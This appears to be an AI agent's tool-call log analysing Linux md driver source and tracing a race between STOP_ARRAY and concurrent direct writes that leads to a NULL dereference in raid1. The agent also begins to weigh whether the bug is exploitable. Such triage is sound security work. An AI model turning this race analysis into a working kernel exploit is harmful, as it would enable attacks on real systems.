7217: mddev->bitmap_info.file = NULL;
7218: spin_unlock(&mddev->lock);
7219: fput(f);
7220: }
7221: mddev->bitmap_info.offset = 0;
7222:
7223: export_array(mddev);
7224: md_clean(mddev);
7225: if (!legacy_async_del_gendisk)
7226: set_bit(MD_DELETED, &mddev->flags);
7227: }
7228: md_new_event();
7229: sysfs_notify_dirent_safe(mddev->sysfs_state);
7230: return 0;
7231: }
SourceFile:drivers/md/md.c]
|
| 26/2 |
2026/08/26 10:31 |
llm |
expert |
0m
Model:
Tokens:
input: 23990
output: 24
thoughts: 44
Thoughts: Here's my analysis of what's happening, keeping in mind my expertise:
**Dissecting the `do_md_stop` Function Call**
Okay, so `do_md_stop` is the function we're looking at here. It seems pretty straightforward; it's designed to halt some kind of process or structure, likely related to a RAID array, considering the "md" prefix. I see that it calls two other functions: `__md_stop_writes(mddev)` and then `__md_stop(mddev)`.
The crucial thing is the order of these calls, and the `mddev` argument is our handle to the device. The fact that `__md_stop_writes` is called *before* `__md_stop` suggests a very specific control flow. Clearly, it's not a direct stop; it's a phased shutdown, a careful process. `__md_stop_writes` is the logical first step, and based on the function name, I'd bet it's meant to ensure that no more *writes* are initiated before the broader shutdown. We need to immediately check how it works because it is the crucial point for the data integrity. After all, if writes are cut off immediately, then there could be in-flight writes that are never committed to the disk. That would lead to corruption.
Let's dive into that `__md_stop_writes` function immediately. That's where the real logic of this graceful stop lies.
|
| 27/2 |
2026/08/26 10:31 |
tool |
codesearch-definition-source |
0m
Args: map[Name:__md_stop_writes]
Results: map[SourceCode:7032: static void __md_stop_writes(struct mddev *mddev)
7033: {
7034: timer_delete_sync(&mddev->safemode_timer);
7035:
7036: if (md_is_rdwr(mddev) || !mddev_is_dm(mddev)) {
7037: if (mddev->pers && mddev->pers->quiesce) {
7038: mddev->pers->quiesce(mddev, 1);
7039: mddev->pers->quiesce(mddev, 0);
7040: }
7041:
7042: if (md_bitmap_enabled(mddev, true))
7043: mddev->bitmap_ops->flush(mddev);
7044: }
7045:
7046: if (md_is_rdwr(mddev) &&
7047: ((!mddev->in_sync && !mddev_is_clustered(mddev)) ||
7048: mddev->sb_flags)) {
7049: /* mark array as shutdown cleanly */
7050: if (!mddev_is_clustered(mddev))
7051: mddev->in_sync = 1;
7052: md_update_sb(mddev, 1);
7053: }
7054: /* disable policy to guarantee rdevs free resources for serialization */
7055: clear_bit(MD_SERIALIZE_POLICY, &mddev->flags);
7056: mddev_destroy_serial_pool(mddev, NULL);
7057: }
SourceFile:drivers/md/md.c]
|
| 28/2 |
2026/08/26 10:31 |
llm |
expert |
0m
Model:
Tokens:
input: 24855
output: 24
thoughts: 90
Thoughts: Okay, let me think this through.
**Investigating a Potential Race Condition in RAID Code**
Hmm, it's starting to look like `__md_stop_writes` isn't properly synchronizing with ongoing I/O operations. I had a feeling something wasn't quite right. My understanding was that it was meant to wait for `active_io` to quiesce, but that doesn't seem to be the case. Now, let me retrace the code execution... right, `md_handle_request` calls `percpu_ref_tryget_live` on `mddev->active_io`. That's the crucial link. Now, the big question is, *when* is that `active_io` reference actually dropped, and the underlying structure destroyed? I need to find the point where it's *killed*. Okay, let's fire up the search tool and look specifically for where `percpu_ref_kill` is used with `active_io`. I need to figure out the lifecycle of that reference count to determine if we're dealing with a legitimate race or just a misinterpreted synchronization point.
|
| 29/2 |
2026/08/26 10:31 |
tool |
codesearch-find-references |
0m
Args: map[Name:mddev::active_io]
Results: map[References:[map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:__mddev_resume SourceFile:drivers/md/md.c SourceLine:536] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:active_io_release SourceFile:drivers/md/md.c SourceLine:677] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:is_md_suspended SourceFile:drivers/md/md.c SourceLine:372] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:md_account_bio SourceFile:drivers/md/md.c SourceLine:9520] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:md_end_clone_io SourceFile:drivers/md/md.c SourceLine:9486] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:md_flush_request SourceFile:drivers/md/md.c SourceLine:601] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:md_handle_request SourceFile:drivers/md/md.c SourceLine:404] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:md_handle_request SourceFile:drivers/md/md.c SourceLine:414] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:md_handle_request SourceFile:drivers/md/md.c SourceLine:418] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:md_handle_request SourceFile:drivers/md/md.c SourceLine:424] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:mddev_destroy SourceFile:drivers/md/md.c SourceLine:818] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:mddev_init SourceFile:drivers/md/md.c SourceLine:749] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:mddev_init SourceFile:drivers/md/md.c SourceLine:808] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:mddev_suspend SourceFile:drivers/md/md.c SourceLine:489] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:mddev_suspend SourceFile:drivers/md/md.c SourceLine:502] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:mddev_suspend SourceFile:drivers/md/md.c SourceLine:502] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:mddev_suspend SourceFile:drivers/md/md.c SourceLine:502] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:mddev_suspend SourceFile:drivers/md/md.c SourceLine:505] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:mddev_suspend SourceFile:drivers/md/md.c SourceLine:505] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:mddev_suspend SourceFile:drivers/md/md.c SourceLine:505] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:mddev_suspend SourceFile:drivers/md/md.c SourceLine:508]] TruncatedOutput:false]
|
| 30/2 |
2026/08/26 10:31 |
llm |
expert |
0m
Model:
Tokens:
input: 26339
output: 23
thoughts: 11
Thoughts: Okay, here's my attempt at summarizing that thought process, keeping in mind I'm speaking to a fellow expert:
**Investigating `mddev_suspend`**
Alright, time to dive into `mddev_suspend`. I'm going to take a closer look at this one. It's likely a critical function for managing the state transitions of a RAID device. I need to understand exactly how it handles the suspend process, the potential implications on data integrity, and any locking that’s involved. It's probably responsible for bringing the RAID array down to a safe, quiescent state before a system suspend operation. I need to see if it cleanly flushes data, unmounts file systems, and perhaps, signals to the underlying disks to power down appropriately. This is where the magic happens, or where things go terribly wrong, so let's dig in and figure out the details.
|
| 31/2 |
2026/08/26 10:31 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 461: /*
462: * Make sure no new requests are submitted to the device, and any requests that
463: * have been submitted are completely handled.
464: */
465: int mddev_suspend(struct mddev *mddev, bool interruptible)
466: {
467: int err = 0;
468:
469: /*
470: * hold reconfig_mutex to wait for normal io will deadlock, because
471: * other context can't update super_block, and normal io can rely on
472: * updating super_block.
473: */
474: lockdep_assert_not_held(&mddev->reconfig_mutex);
475:
476: if (interruptible)
477: err = mutex_lock_interruptible(&mddev->suspend_mutex);
478: else
479: mutex_lock(&mddev->suspend_mutex);
480: if (err)
481: return err;
482:
483: if (mddev->suspended) {
484: WRITE_ONCE(mddev->suspended, mddev->suspended + 1);
485: mutex_unlock(&mddev->suspend_mutex);
486: return 0;
487: }
488:
489: percpu_ref_kill(&mddev->active_io);
490:
491: /*
492: * RAID456 IO can sleep in wait_for_reshape while still holding an
493: * active_io reference. If reshape is already interrupted or frozen,
494: * wake those waiters so they can abort and drop the reference instead
495: * of deadlocking suspend.
496: */
497: if (mddev->pers && mddev->pers->prepare_suspend &&
498: reshape_interrupted(mddev))
499: mddev->pers->prepare_suspend(mddev);
500:
501: if (interruptible)
502: err = wait_event_interruptible(mddev->sb_wait,
503: percpu_ref_is_zero(&mddev->active_io));
504: else
505: wait_event(mddev->sb_wait,
506: percpu_ref_is_zero(&mddev->active_io));
507: if (err) {
508: percpu_ref_resurrect(&mddev->active_io);
509: mutex_unlock(&mddev->suspend_mutex);
510: return err;
511: }
512:
513: /*
514: * For raid456, io might be waiting for reshape to make progress,
515: * allow new reshape to start while waiting for io to be done to
516: * prevent deadlock.
517: */
518: WRITE_ONCE(mddev->suspended, mddev->suspended + 1);
519:
520: mutex_unlock(&mddev->suspend_mutex);
521: return 0;
522: }
SourceFile:drivers/md/md.c]
|
| 32/2 |
2026/08/26 10:31 |
llm |
expert |
0m
Model:
Tokens:
input: 27498
output: 22
thoughts: 181
Thoughts: **My Analysis of the `mddev` Shutdown Sequence**
Okay, so I'm digging into how the `md` driver gracefully shuts down, specifically focusing on the interplay of write operations. The initial assumption is that `mddev_suspend` handles the whole thing by killing `active_io` and waiting for it to go to zero. But, hold on a second... does `do_md_stop` actually call `mddev_suspend`? No, that's not right. It seems to call `__md_stop_writes` and `__md_stop` instead.
Aha! `__md_stop_writes` is the key. It looks like this function calls `mddev->pers->quiesce(mddev, 1)`. But crucially, it *doesn't* call `mddev_suspend`. This means `active_io` might not be immediately stopped by the `do_md_stop` sequence, which is a key consideration.
Now, let's circle back to `md_handle_request`. I remember it uses `percpu_ref_tryget_live(&mddev->active_io)`. This is interesting because if `active_io` isn't *killed* (or sufficiently reduced) by the time the `md` device is stopped, this `tryget_live` call could still succeed, creating a race condition. It may depend on the quiesce operation.
So, the critical question is this: Is `active_io` effectively brought down to zero or otherwise made unavailable during the `do_md_stop` process? To figure this out, I'm going to need to dig into `mddev_detach`, as it might hold more clues to the final states of the `md` device at its shutdown.
|
| 33/2 |
2026/08/26 10:32 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7069: static void mddev_detach(struct mddev *mddev)
7070: {
7071: if (md_bitmap_enabled(mddev, false))
7072: mddev->bitmap_ops->wait_behind_writes(mddev);
7073: if (mddev->pers && mddev->pers->quiesce && !is_md_suspended(mddev)) {
7074: mddev->pers->quiesce(mddev, 1);
7075: mddev->pers->quiesce(mddev, 0);
7076: }
7077: md_unregister_thread(mddev, &mddev->thread);
7078:
7079: /* the unplug fn references 'conf' */
7080: if (!mddev_is_dm(mddev))
7081: blk_sync_queue(mddev->gendisk->queue);
7082: }
SourceFile:drivers/md/md.c]
|
| 34/2 |
2026/08/26 10:32 |
llm |
expert |
0m
Model:
Tokens:
input: 28366
output: 23
thoughts: 336
Thoughts: **My Analysis of a Potential Race Condition in the MD Driver**
Okay, let's break this down. I'm looking at the `md_handle_request` function, and it seems like it's calling `mddev->pers->make_request(mddev, bio)`. The immediate red flag is that if `mddev->pers` is NULL, that's a crash waiting to happen. However, the code *should* be checking `if (!mddev->pers->make_request(mddev, bio))` which suggests some kind of error condition.
Then, I'm thinking about `__md_stop`. That's where things get interesting. I see it's setting `mddev->pers = NULL` under a spinlock. The `pers` pointer seems critical because `make_request` is using it. Also, there's `pers->free` being called on `mddev->private` and setting it to NULL too. That means a concurrent `md_handle_request` could read `mddev->pers` *before* it becomes NULL and then invoke `make_request`.
Now, inside `make_request`, in this case, `raid1_make_request`, it calls `raid1_write_request`, which reads `mddev->private`. If `mddev->private` gets set to NULL concurrently, the `conf` pointer used inside `raid1_write_request` could become NULL! That's a serious problem, right?
But, here's the kicker: `md_handle_request` *doesn't* hold `mddev->lock`. It only holds a reference to `mddev->active_io`. And `__md_stop` doesn't wait for `active_io` to drop to zero! That's the core of the problem.
Wait, is `active_io` being decremented before `__md_stop` is called? I need to check `do_md_stop` again. This looks like a race condition where I can get a NULL pointer dereference.
|
| 35/2 |
2026/08/26 10:32 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7158: /* mode:
7159: * 0 - completely stop and dis-assemble array
7160: * 2 - stop but do not disassemble array
7161: */
7162: static int do_md_stop(struct mddev *mddev, int mode)
7163: {
7164: struct gendisk *disk = mddev->gendisk;
7165: struct md_rdev *rdev;
7166: int did_freeze = 0;
7167:
7168: if (!test_bit(MD_RECOVERY_FROZEN, &mddev->recovery)) {
7169: did_freeze = 1;
7170: set_bit(MD_RECOVERY_FROZEN, &mddev->recovery);
7171: }
7172:
7173: stop_sync_thread(mddev, true);
7174:
7175: if (mddev->sysfs_active ||
7176: test_bit(MD_RECOVERY_RUNNING, &mddev->recovery)) {
7177: pr_warn("md: %s still in use.\n",mdname(mddev));
7178: if (did_freeze) {
7179: clear_bit(MD_RECOVERY_FROZEN, &mddev->recovery);
7180: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
7181: }
7182: return -EBUSY;
7183: }
7184: if (mddev->pers) {
7185: if (!md_is_rdwr(mddev))
7186: set_disk_ro(disk, 0);
7187:
7188: if (mode == 2 && mddev->pers->sync_request &&
7189: mddev->to_remove == NULL)
7190: mddev->to_remove = &md_redundancy_group;
7191:
7192: __md_stop_writes(mddev);
7193: __md_stop(mddev);
7194:
7195: /* tell userspace to handle 'inactive' */
7196: sysfs_notify_dirent_safe(mddev->sysfs_state);
7197:
7198: rdev_for_each(rdev, mddev)
7199: if (rdev->raid_disk >= 0)
7200: sysfs_unlink_rdev(mddev, rdev);
7201:
7202: set_capacity_and_notify(disk, 0);
7203: mddev->changed = 1;
7204:
7205: if (!md_is_rdwr(mddev))
7206: mddev->ro = MD_RDWR;
7207: }
7208: /*
7209: * Free resources if final stop
7210: */
7211: if (mode == 0) {
7212: pr_info("md: %s stopped.\n", mdname(mddev));
7213:
7214: if (mddev->bitmap_info.file) {
7215: struct file *f = mddev->bitmap_info.file;
7216: spin_lock(&mddev->lock);
7217: mddev->bitmap_info.file = NULL;
7218: spin_unlock(&mddev->lock);
7219: fput(f);
7220: }
7221: mddev->bitmap_info.offset = 0;
7222:
7223: export_array(mddev);
7224: md_clean(mddev);
7225: if (!legacy_async_del_gendisk)
7226: set_bit(MD_DELETED, &mddev->flags);
7227: }
7228: md_new_event();
7229: sysfs_notify_dirent_safe(mddev->sysfs_state);
7230: return 0;
7231: }
SourceFile:drivers/md/md.c]
|
| 36/2 |
2026/08/26 10:32 |
llm |
expert |
0m
Model:
Tokens:
input: 30328
output: 21
thoughts: 116
Thoughts: **My Analysis of the Array Stopping Mechanism**
Okay, so I'm digging into this array stop process, and something isn't quite clicking. My initial assumption was that `do_md_stop` would definitively shut down `active_io`, but that doesn't seem to be the case. Now I'm trying to trace the logic and understand exactly how new I/O requests are prevented when the array is in a stopped state.
My current line of reasoning: How does `md_handle_request` ensure no new bios are processed when the array is stopped? Is it calling `set_capacity_and_notify(disk, 0)`?
Ah, right, `set_capacity_and_notify(disk, 0)` *should* prevent new I/Os, but hang on a second... isn't that function called *after* `__md_stop`? That timing seems problematic, putting the cart before the horse, potentially opening up a race condition.
Let me refresh, `do_md_stop` is, if I'm not mistaken, actually called from `md_ioctl`, triggered by a `STOP_ARRAY` request. Okay, that's the entry point. I need to refresh my knowledge of `md_ioctl`, what is the control flow there? Okay, let's take a look at how that code is written. I need to examine `md_ioctl` to get the full picture.
|
| 37/2 |
2026/08/26 10:32 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:8342: static int md_ioctl(struct block_device *bdev, blk_mode_t mode,
8343: unsigned int cmd, unsigned long arg)
8344: {
8345: int err = 0;
8346: unsigned int noio_flags = 0;
8347: void __user *argp = (void __user *)arg;
8348: struct mddev *mddev = NULL;
8349: bool suspend;
8350:
8351: err = md_ioctl_valid(cmd);
8352: if (err)
8353: return err;
8354:
8355: /*
8356: * Commands dealing with the RAID driver but not any
8357: * particular array:
8358: */
8359: if (cmd == RAID_VERSION)
8360: return get_version(argp);
8361:
8362: /*
8363: * Commands creating/starting a new array:
8364: */
8365:
8366: mddev = bdev->bd_disk->private_data;
8367:
8368: /* Some actions do not requires the mutex */
8369: switch (cmd) {
8370: case GET_ARRAY_INFO:
8371: if (!mddev->raid_disks && !mddev->external)
8372: return -ENODEV;
8373: return get_array_info(mddev, argp);
8374:
8375: case GET_DISK_INFO:
8376: if (!mddev->raid_disks && !mddev->external)
8377: return -ENODEV;
8378: return get_disk_info(mddev, argp);
8379:
8380: case SET_DISK_FAULTY:
8381: return set_disk_faulty(mddev, new_decode_dev(arg));
8382:
8383: case GET_BITMAP_FILE:
8384: return get_bitmap_file(mddev, argp);
8385: }
8386:
8387: if (cmd == STOP_ARRAY || cmd == STOP_ARRAY_RO) {
8388: /* Need to flush page cache, and ensure no-one else opens
8389: * and writes
8390: */
8391: err = mddev_set_closing_and_sync_blockdev(mddev, 1);
8392: if (err)
8393: return err;
8394: }
8395:
8396: if (!md_is_rdwr(mddev))
8397: flush_work(&mddev->sync_work);
8398:
8399: suspend = md_ioctl_need_suspend(cmd);
8400: err = suspend ? mddev_suspend_and_lock(mddev) : mddev_lock(mddev);
8401: if (err) {
8402: pr_debug("md: ioctl lock interrupted, reason %d, cmd %d\n",
8403: err, cmd);
8404: goto out;
8405: }
8406: if (suspend)
8407: noio_flags = memalloc_noio_save();
8408:
8409: if (cmd == SET_ARRAY_INFO) {
8410: err = __md_set_array_info(mddev, argp);
8411: goto unlock;
8412: }
8413:
8414: /*
8415: * Commands querying/configuring an existing array:
8416: */
8417: /* if we are not initialised yet, only ADD_NEW_DISK, STOP_ARRAY,
8418: * RUN_ARRAY, and GET_ and SET_BITMAP_FILE are allowed */
8419: if ((!mddev->raid_disks && !mddev->external)
8420: && cmd != ADD_NEW_DISK && cmd != STOP_ARRAY
8421: && cmd != RUN_ARRAY && cmd != SET_BITMAP_FILE
8422: && cmd != GET_BITMAP_FILE) {
8423: err = -ENODEV;
8424: goto unlock;
8425: }
8426:
8427: /*
8428: * Commands even a read-only array can execute:
8429: */
8430: switch (cmd) {
8431: case RESTART_ARRAY_RW:
8432: err = restart_array(mddev);
8433: goto unlock;
8434:
8435: case STOP_ARRAY:
8436: err = do_md_stop(mddev, 0);
8437: goto unlock;
8438:
8439: case STOP_ARRAY_RO:
8440: if (mddev->pers)
8441: err = md_set_readonly(mddev);
8442: goto unlock;
8443:
8444: case HOT_REMOVE_DISK:
8445: err = hot_remove_disk(mddev, new_decode_dev(arg));
8446: goto unlock;
8447:
8448: case ADD_NEW_DISK:
8449: /* We can support ADD_NEW_DISK on read-only arrays
8450: * only if we are re-adding a preexisting device.
8451: * So require mddev->pers and MD_DISK_SYNC.
8452: */
8453: if (mddev->pers) {
8454: mdu_disk_info_t info;
8455: if (copy_from_user(&info, argp, sizeof(info)))
8456: err = -EFAULT;
8457: else if (!(info.state & (1<<MD_DISK_SYNC)))
8458: /* Need to clear read-only for this */
8459: break;
8460: else
8461: err = md_add_new_disk(mddev, &info);
8462: goto unlock;
8463: }
8464: break;
8465: }
8466:
8467: /*
8468: * The remaining ioctls are changing the state of the
8469: * superblock, so we do not allow them on read-only arrays.
8470: */
8471: if (!md_is_rdwr(mddev) && mddev->pers) {
8472: if (mddev->ro != MD_AUTO_READ) {
8473: err = -EROFS;
8474: goto unlock;
8475: }
8476: mddev->ro = MD_RDWR;
8477: sysfs_notify_dirent_safe(mddev->sysfs_state);
8478: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
8479: /* mddev_unlock will wake thread */
8480: /* If a device failed while we were read-only, we
8481: * need to make sure the metadata is updated now.
8482: */
8483: if (test_bit(MD_SB_CHANGE_DEVS, &mddev->sb_flags)) {
8484: mddev_unlock(mddev);
8485: wait_event(mddev->sb_wait,
8486: !test_bit(MD_SB_CHANGE_DEVS, &mddev->sb_flags) &&
8487: !test_bit(MD_SB_CHANGE_PENDING, &mddev->sb_flags));
8488: mddev_lock_nointr(mddev);
8489: }
8490: }
8491:
8492: switch (cmd) {
8493: case ADD_NEW_DISK:
8494: {
8495: mdu_disk_info_t info;
8496: if (copy_from_user(&info, argp, sizeof(info)))
8497: err = -EFAULT;
8498: else
8499: err = md_add_new_disk(mddev, &info);
8500: goto unlock;
8501: }
8502:
8503: case CLUSTERED_DISK_NACK:
8504: if (mddev_is_clustered(mddev))
8505: mddev->cluster_ops->new_disk_ack(mddev, false);
8506: else
8507: err = -EINVAL;
8508: goto unlock;
8509:
8510: case HOT_ADD_DISK:
8511: err = hot_add_disk(mddev, new_decode_dev(arg));
8512: goto unlock;
8513:
8514: case RUN_ARRAY:
8515: err = do_md_run(mddev);
8516: goto unlock;
8517:
8518: case SET_BITMAP_FILE:
8519: err = set_bitmap_file(mddev, (int)arg);
8520: goto unlock;
8521:
8522: default:
8523: err = -EINVAL;
8524: goto unlock;
8525: }
8526:
8527: unlock:
8528: if (mddev->hold_active == UNTIL_IOCTL &&
8529: err != -EINVAL)
8530: mddev->hold_active = 0;
8531:
8532: if (suspend) {
8533: memalloc_noio_restore(noio_flags);
8534: mddev_unlock_and_resume(mddev);
8535: } else {
8536: mddev_unlock(mddev);
8537: }
8538:
8539: out:
8540: if (cmd == STOP_ARRAY_RO || (err && cmd == STOP_ARRAY))
8541: clear_bit(MD_CLOSING, &mddev->flags);
8542: return err;
8543: }
SourceFile:drivers/md/md.c]
|
| 38/2 |
2026/08/26 10:32 |
llm |
expert |
0m
Model:
Tokens:
input: 33670
output: 26
thoughts: 47
Thoughts: **Analyzing the `md_ioctl` and Suspension Logic**
Okay, so I'm digging into this `md_ioctl` function. I've got a specific command (`cmd`) in mind. It looks like the critical line here is where it checks if the array needs to be suspended: `suspend = md_ioctl_need_suspend(cmd)`. My immediate thought is, let's understand how that suspension determination is made. What's the logic behind it?
Specifically, I want to trace the execution path for a `STOP_ARRAY` command. This is where things get interesting, and I need to determine what `md_ioctl_need_suspend` returns when `cmd` is `STOP_ARRAY`. Understanding that return value is key to understanding the control flow and impact of this function. I need to figure out if it will result in suspension, and under what conditions.
|
| 39/2 |
2026/08/26 10:32 |
tool |
codesearch-definition-source |
0m
Args: map[Name:md_ioctl_need_suspend]
Results: map[SourceCode:8294: static bool md_ioctl_need_suspend(unsigned int cmd)
8295: {
8296: switch (cmd) {
8297: case ADD_NEW_DISK:
8298: case HOT_ADD_DISK:
8299: case HOT_REMOVE_DISK:
8300: case SET_BITMAP_FILE:
8301: case SET_ARRAY_INFO:
8302: return true;
8303: default:
8304: return false;
8305: }
8306: }
SourceFile:drivers/md/md.c]
|
| 40/2 |
2026/08/26 10:32 |
llm |
expert |
0m
Model:
Tokens:
input: 34119
output: 31
thoughts: 154
Thoughts: **My Analysis of the `STOP_ARRAY` Process**
Okay, so I've been digging into this, and it seems like the `STOP_ARRAY` ioctl isn't actually a suspend operation, that much is clear. The key thing I'm seeing is that `md_ioctl` *does* call `mddev_lock(mddev)` when handling this `STOP_ARRAY` request. That's a vital bit of locking. And then it immediately calls `do_md_stop(mddev, 0)`.
Now, digging deeper into `do_md_stop`, I can see it calls both `__md_stop_writes(mddev)` and `__md_stop(mddev)`. So far so good. I'd expect those functions to handle the bulk of the stop. `__md_stop` is interesting though because I'm seeing that this function sets `mddev->pers = NULL` and `mddev->private = NULL`. Okay, that makes sense - clearing the persistence and private data structures on a stop. But... wait a minute... it *doesn't* appear to wait for `active_io` to drop to zero! That's a potential issue.
I was expecting a wait there, but don't see one. I need to be more thorough, because this is looking like a missed synchronisation point. Hmm... wait, I should check `mddev_set_closing_and_sync_blockdev`. Maybe something is done there? Let me cross reference that function and ensure I haven't missed a crucial check.
|
| 41/2 |
2026/08/26 10:32 |
tool |
codesearch-definition-source |
0m
Args: map[Name:mddev_set_closing_and_sync_blockdev]
Results: map[SourceCode: 553: /* sync bdev before setting device to readonly or stopping raid*/
554: static int mddev_set_closing_and_sync_blockdev(struct mddev *mddev, int opener_num)
555: {
556: mutex_lock(&mddev->open_mutex);
557: if (mddev->pers && atomic_read(&mddev->openers) > opener_num) {
558: mutex_unlock(&mddev->open_mutex);
559: return -EBUSY;
560: }
561: if (test_and_set_bit(MD_CLOSING, &mddev->flags)) {
562: mutex_unlock(&mddev->open_mutex);
563: return -EBUSY;
564: }
565: mutex_unlock(&mddev->open_mutex);
566:
567: sync_blockdev(mddev->gendisk->part0);
568: return 0;
569: }
SourceFile:drivers/md/md.c]
|
| 42/2 |
2026/08/26 10:32 |
llm |
expert |
0m
Model:
Tokens:
input: 34957
output: 21
thoughts: 82
Thoughts: Okay, here's my take on those thoughts, framed as my own:
**Analyzing a Potential RAID Flushing Issue**
Right, let me see... this code calls `sync_blockdev(mddev->gendisk->part0)`. That's a direct block device flush, essentially telling the OS to write everything out from the page cache to the physical disk. So far, so good – we're clearing the decks, so to speak. But, hold on a second... it's not explicitly preventing *new* I/O operations from being submitted. This raises a red flag. We might be flushing old data but then immediately overwriting it with new writes if the array isn't properly paused!
Hang on, wait a second, let me think this through. The `md_handle_request` function... Ah, it checks `is_suspended(mddev, bio)`. So, there's a suspension mechanism in play. The question then becomes, *does* that `MD_CLOSING` state actually trigger a suspension in the array? We need to investigate how `is_suspended` is implemented and what conditions it checks to determine if the array is truly halted. That's the crucial link in this chain. Let's see how that bit of code actually works!
|
| 43/2 |
2026/08/26 10:32 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 374: /* Rather than calling directly into the personality make_request function,
375: * IO requests come here first so that we can check if the device is
376: * being suspended pending a reconfiguration.
377: * We hold a refcount over the call to ->make_request. By the time that
378: * call has finished, the bio has been linked into some internal structure
379: * and so is visible to ->quiesce(), so we don't need the refcount any more.
380: */
381: static bool is_suspended(struct mddev *mddev, struct bio *bio)
382: {
383: if (is_md_suspended(mddev))
384: return true;
385: if (bio_data_dir(bio) != WRITE)
386: return false;
387: if (READ_ONCE(mddev->suspend_lo) >= READ_ONCE(mddev->suspend_hi))
388: return false;
389: if (bio->bi_iter.bi_sector >= READ_ONCE(mddev->suspend_hi))
390: return false;
391: if (bio_end_sector(bio) < READ_ONCE(mddev->suspend_lo))
392: return false;
393: return true;
394: }
SourceFile:drivers/md/md.c]
|
| 44/2 |
2026/08/26 10:32 |
llm |
expert |
0m
Model:
Tokens:
input: 35741
output: 22
thoughts: 120
Thoughts: **My Line of Reasoning**
Okay, so I'm looking at how this `md_handle_request` function behaves in the face of a closing MD device. The code uses `is_md_suspended` which checks the `mddev->suspended` flag. Crucially, it *doesn't* appear to check for the `MD_CLOSING` flag directly within this particular check. That means the request *might* still be processed even if the array is shutting down, which seems… problematic. But wait a minute, `md_handle_request` then calls `percpu_ref_tryget_live(&mddev->active_io)`. That's the key. If `active_io` is still active, the request can proceed and potentially break things. The question now is: is `active_io` killed during a `STOP_ARRAY` operation? I need to go back and double-check `mddev_detach` to confirm how `active_io` is handled during that critical process. This is where the potential race condition might be lurking. I need to be sure about this.
|
| 45/2 |
2026/08/26 10:32 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7069: static void mddev_detach(struct mddev *mddev)
7070: {
7071: if (md_bitmap_enabled(mddev, false))
7072: mddev->bitmap_ops->wait_behind_writes(mddev);
7073: if (mddev->pers && mddev->pers->quiesce && !is_md_suspended(mddev)) {
7074: mddev->pers->quiesce(mddev, 1);
7075: mddev->pers->quiesce(mddev, 0);
7076: }
7077: md_unregister_thread(mddev, &mddev->thread);
7078:
7079: /* the unplug fn references 'conf' */
7080: if (!mddev_is_dm(mddev))
7081: blk_sync_queue(mddev->gendisk->queue);
7082: }
SourceFile:drivers/md/md.c]
|
| 46/2 |
2026/08/26 10:32 |
llm |
expert |
0m
Model:
Tokens:
input: 36401
output: 37
thoughts: 893
Thoughts: **The Race Condition in `md_handle_request` and `do_md_stop`**
Okay, so the critical issue is that `active_io` *isn't* killed in the way I initially thought. This means `md_handle_request` can run concurrently with `do_md_stop`. `do_md_stop` calls `__md_stop`, which *nulls* out `mddev->pers` and `mddev->private`. The problem is that `md_handle_request` checks `mddev->pers`, and if it's not NULL, it calls `make_request`. Inside that, like in `raid1_make_request`, we're potentially reading `mddev->private`! If `mddev->private` is set to NULL by `__md_stop` concurrently, the `conf` pointer becomes NULL. Then, the call to `wait_barrier(conf, sector)` dereferences that NULL `conf` pointer, and boom, we have the bug!
I need to understand why `do_md_stop` isn't preventing the new bios. I had assumed it would shut down everything but it appears it doesn't. `md_free_disk` handles the `active_io` reference via `percpu_ref_exit(&mddev->active_io)`, but `percpu_ref_kill` is only called in `mddev_suspend`. Ah, right, the `md_ioctl` for `STOP_ARRAY` calls `mddev_set_closing_and_sync_blockdev(mddev, 1)`. That checks `atomic_read(&mddev->openers) > opener_num`. In the reproducer, we have `/dev/md142` opened with `O_RDWR | O_DIRECT` and then attempt a `STOP_ARRAY`.
The trick is, `openers` *isn't* incremented by the `pwrite` call that's causing the I/O. So `openers` is 1, and `opener_num` is 1, so the `STOP_ARRAY` *proceeds*! Then, `do_md_stop` runs. At the same time, the `pwrite` call goes through `vfs_write`, submits a bio, and that ends up in `md_handle_request`. `md_handle_request` gets the `active_io` reference, calls `mddev->pers->make_request`. Meanwhile, `do_md_stop` sets `mddev->private` to NULL. Bingo! `raid1_write_request` reads NULL, crashes.
Is this exploitable? It *is* a NULL pointer dereference. KASAN is pointing at `KASAN: null-ptr-deref in range [0x0000000000000120-0x0000000000000127]`. That means `conf` is NULL, and we're accessing `conf->nr_pending` at offset 0x120. This *shouldn't* be exploitable because of `mmap_min_addr`. But... wait a minute! Is it a read or a write? It's `atomic_inc(&conf->nr_pending[idx]);`! Oh... it is writing. That makes things more interesting. Let me go back and look closer at `_wait_barrier`.
|
| 47/2 |
2026/08/26 10:33 |
tool |
read-file |
0m
Args: map[File:drivers/md/raid1.c FirstLine:1056 LineCount:20]
